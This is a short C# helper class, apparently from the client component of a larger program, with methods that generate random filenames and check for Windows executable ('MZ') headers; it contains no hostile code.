using System; using System.Text; namespace xClient.Core.Helper { public static class FileHelper { private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; private static readonly Random _rnd = new Random(Environment.TickCount); public static string GetRandomFilename(int length, string extension = "") { StringBuilder randomName = new StringBuilder(length); for (int i = 0; i < length; i++) randomName.Append(CHARS[_rnd.Next(CHARS.Length)]); return string.Concat(randomName.ToString(), extension); } public static bool IsValidExecuteableFile(byte[] block) { if (block.Length < 2) return false; return (block[0] == 'M' && block[1] == 'Z') || (block[0] == 'Z' && block[1] == 'M'); } } }